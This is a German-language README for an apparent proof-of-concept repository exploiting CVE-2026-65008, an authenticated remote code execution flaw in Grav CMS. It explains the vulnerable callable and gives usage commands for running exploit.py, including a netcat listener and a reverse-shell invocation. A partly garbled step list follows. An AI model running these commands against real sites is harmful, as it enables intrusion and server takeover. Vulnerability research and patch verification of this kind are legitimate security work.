
CVE-2026-65008
Proof-of-Concept für CVE-2026-65008: authentifizierte Remote-Codeausführung in Grav CMS über uneingeschränktes call_user_func_array() in Blueprint::dynamicData().
Ein Benutzer mit admin.pages (oder api.pages.write) kann bösartiges Formular-Frontmatter einschleusen. Das Payload wird dann als Webserver-Benutzer ausgeführt, wenn jeder Besucher (auch ohne Authentifizierung) die Seite lädt.
Nur autorisierte Tests. Verwenden Sie dies ausschließlich auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
| Rolle |
|---|
| Schwachstellenmelder | YuvalMil, MatiHub25, LeonKaya |
| Herstellerhinweis | GHSA-fj2p-qj2f-74v5 |
| Dieses Repository | Unabhängiges Labor-PoC / Automatisierung |
Blueprint::dynamicData() übergibt ein angreiferkontrolliertes Class::method-Callable und Argumente ohne Allowlist an PHP call_user_func_array(). In Kombination mit Grav\Common\Utils::arrayFilterRecursive als Trampolin erreicht dies system() / passthru / usw.
Behoben in Grav 2.0.7+.
9.8 KRITISCH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
requestsInstallation:
pip install -r requirements.txt
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
Zuerst Listener starten:
nc -lvnp 4444
Dann:
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
| Flag | Beschreibung |
|---|---|
-u, --url | Ziel-Basis-URL (erforderlich) |
-U, --username | Admin / Benutzer mit Seitenbearbeitungsrechten (Standard: admin) |
-P, --password | Passwort (erforderlich) |
-c, --command | Auszuführender Befehl (Standard: id) |
--lhost | Reverse-Shell-LHOST |
--lport | Reverse-Shell-LPORT (Standard: 4444) |
--folder | Seitenordnername (Standard: rcepoc) |
--no-verify | TLS-Verifizierung deaktivieren |
/admin (login-nonce extrahieren)admin_nonce aus dem Admin-Panel abrufendata-opts@:-Gadget enthältwww-dataDieses Projekt dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Der Autor ist nicht für Missbrauch verantwortlich. Holen Sie vor dem Testen von Drittsystemen immer eine schriftliche Genehmigung ein. Die ursprüngliche Schwachstelle wurde über den Herstellerhinweis offengelegt; dieses Repository demonstriert lediglich die Reproduktion im Labor.
Nur für Forschungszwecke. Keine Gewährleistung.